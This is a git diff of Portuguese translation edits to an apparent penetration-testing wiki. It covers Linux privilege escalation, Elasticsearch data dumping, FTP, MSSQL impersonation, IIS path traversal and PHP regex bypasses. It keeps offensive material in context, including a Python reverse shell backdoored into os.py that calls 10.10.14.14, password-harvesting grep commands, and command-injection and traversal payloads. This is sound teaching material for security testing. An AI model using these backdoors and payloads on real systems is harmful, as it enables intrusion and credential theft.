@@ -1147,23 +1147,23 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
+Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
### ForwardAgent/AllowAgentForwarding
-O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) armazenadas em seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada em seu **host inicial**.
+O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) paradas no seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**.
Você precisa definir essa opção em `$HOME/.ssh.config` assim:
```
Host example.com
ForwardAgent yes
```
-Observe que se `Host` for `*`, toda vez que o usuário mudar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
+Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\
O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir).
-Se você descobrir que o Forward Agent está configurado em um ambiente, leia a seguinte página, pois **você pode ser capaz de abusar disso para escalar privilégios**:
+Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **você pode ser capaz de abusar disso para escalar privilégios**:
{{#ref}}
ssh-forward-agent-exploitation.md
@@ -1216,7 +1216,7 @@ su - dummy
```
NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`.
-Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
+Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@@ -1235,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### Localização Estranha/Arquivos Possuídos
+### Arquivos em Localização Estranha/Propriedade
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1292,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
### Logs
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
-Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Além disso, alguns **logs de auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@@ -1319,9 +1319,9 @@ Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pod
### Python library hijacking
-Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
+Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
-Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
+Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
@@ -1344,7 +1344,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
-Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
+Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**.
@@ -1356,9 +1356,9 @@ DEVICE=eth0
```
### **init, init.d, systemd e rc.d**
-O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`.
+O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`.
-Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, usando arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com configurações do Upstart devido a uma camada de compatibilidade no Upstart.
+Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart.
**systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema.
@@ -1370,7 +1370,7 @@ Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
-### Escapando de Shells restritos
+### Escapando de Shells restritas
{{#ref}}
escaping-from-limited-bash.md
@@ -1408,14 +1408,14 @@ cisco-vmanage.md
## Referências
-- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
-- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
-- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
-- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
-- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
-- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
-- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
-- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
+- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
+- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
+- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
+- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
+- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
+- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
+- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
+- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
index b1ed743ce..4ed6b61f6 100644
--- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md
+++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
@@ -89,18 +89,18 @@ Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** a
Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\
Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância.
-Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel de `superuser`.
+Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qual usuário tem o papel `superuser`.
### Índices
-Você pode **reunir todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v`
+Você pode **coletar todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v`
```
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
-Para obter **informações sobre que tipo de dados estão salvos dentro de um índice**, você pode acessar: `http://host:9200/` do exemplo, neste caso `http://10.10.10.115:9200/bank`
+Para obter **informações sobre que tipo de dados estão salvos dentro de um índice**, você pode acessar: `http://host:9200/` neste caso, `http://10.10.10.115:9200/bank`
.png>)
@@ -112,9 +112,9 @@ Se você quiser **extrair todo o conteúdo** de um índice, pode acessar: `http:
_Tire um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._
-Então, neste ponto, você pode notar que **há um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
+Então, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\
Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
-\NAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._
+\_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._
### Dump all
@@ -123,7 +123,7 @@ Lembre-se de que, neste caso, o **limite padrão de 10** resultados será aplica
### Search
-Se você está procurando por alguma informação, pode fazer uma **busca bruta em todos os índices** indo para `http://host:9200/_search?pretty=true&q=` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
+Se você está procurando alguma informação, pode fazer uma **busca bruta em todos os índices** indo para `http://host:9200/_search?pretty=true&q=` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
.png>)
diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md
index dc6d5486a..b322bf40c 100644
--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@@ -24,7 +24,7 @@ Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-atta
### Depuração de Conexão
-Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como a comunicação está ocorrendo**.
+Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como está ocorrendo a comunicação**.
## Enumeração
@@ -88,8 +88,8 @@ STAT
### Login anônimo
_anonymous : anonymous_\
-\NAN;_anonymous :_\
-\NAN;_ftp : ftp_
+\_anonymous :_\
+\_ftp : ftp_
```bash
ftp
>anonymous
@@ -101,11 +101,11 @@ ftp
```
### [Força bruta](../../generic-hacking/brute-force.md#ftp)
-Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
+Aqui você pode encontrar uma boa lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automatizado
-Verificações de login anônimo e de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
+Login anônimo e verificações de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
```bash
nmap --script ftp-* -p 21
```
@@ -203,7 +203,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
- `ftp`
- `port:21`
-## Comandos Automáticos HackTricks
+## HackTricks Comandos Automáticos
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index f6114c865..91ec1c3ed 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -6,17 +6,17 @@
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
-> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).\\
+> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).
**Porta padrão:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
-### **Tabelas de Sistema Padrão MS-SQL**
+### **Tabelas de Sistema Padrão do MS-SQL**
- **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
- **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
-- **Banco de Dados model**: Serve como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados.
+- **Banco de Dados model**: Funciona como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados.
- **Banco de Dados Resource**: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
- **Banco de Dados tempdb**: Serve como uma área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários.
@@ -159,10 +159,10 @@ SELECT * FROM sysusers
- **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor.
- **Banco de Dados** – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
- **Esquema** – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc.
-2. **Permissão:** Associada a securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
+2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
- **Nível de Servidor** usando logins
- **Nível de Banco de Dados** usando usuários
-3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
+3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -278,7 +278,7 @@ Você pode ver como usar essas ferramentas em:
### Abusando de Links Confiáveis do MSSQL
-[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
+[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@@ -345,7 +345,7 @@ GO
Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
-| **Regular** | **Ciente da Instância** |
+| **Regular** | **Ciente da Instância** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@@ -370,7 +370,7 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp
-É possível **carregar um dll .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
+É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
@@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Impersonação de outros usuários
-O SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine.
+SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine.
```sql
# Find users you can impersonate
SELECT distinct b.name
@@ -505,7 +505,7 @@ enum_links
use_link [NAME]
```
> [!NOTE]
-> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar **se o usuário tem acesso** a outros **bancos de dados** ou servidores vinculados.
+> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o **usuário tem acesso** a outros **bancos de dados** ou servidores vinculados.
Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro:
```sql
@@ -521,7 +521,7 @@ Você pode realizar este ataque com um módulo **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
-ou com um **PS** script:
+ou com um script **PS**:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@@ -529,6 +529,8 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
```
## Usando MSSQL para Persistência
+[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
+
## Extraindo senhas de Servidores Vinculados do SQL Server
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
@@ -543,9 +545,9 @@ Após validar suas permissões, você precisa configurar três coisas, que são
Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
-Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
+Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link do Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
-[Solução de Problemas da Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
+[Resolvendo Problemas com a Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Escalação de Privilégios Local
diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
index 2e539753c..37f51f00b 100644
--- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
+++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
@@ -50,7 +50,7 @@ Ela foi criada mesclando os conteúdos das seguintes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
-Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a têm.
+Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a possuem.
## Path Traversal
@@ -59,9 +59,9 @@ Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a têm.
Verifique a descrição completa em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
-> Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão os executáveis** e baixá-los.\
+> Em resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão localizados os executáveis** e baixá-los.\
> A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
-> Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\\
+> Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.
Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML **"assemblyIdentity"**.
@@ -100,9 +100,9 @@ A menção a um namespace personalizado sugere a presença de uma DLL chamada "*
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
-Isso sugere a presença de outras DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
+Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
-Em um cenário onde uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**.
+Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**.
### Arquivos comuns
@@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
Se você ver um erro como o seguinte:
- (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
+ (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Isso significa que o servidor **não recebeu o nome de domínio correto** dentro do cabeçalho Host.\
Para acessar a página da web, você pode dar uma olhada no **Certificado SSL** servido e talvez encontre o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar **forçar VHosts** até encontrar o correto.
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 17b01e523..949afd14a 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
-Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
+Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
```php
{
"cmd": "cat /etc/passwd"
@@ -98,7 +98,7 @@ Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https:/
#### **Bypass de erro de comprimento**
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)\
-Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
+Se você puder enviar para `preg_match()` uma **entrada muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
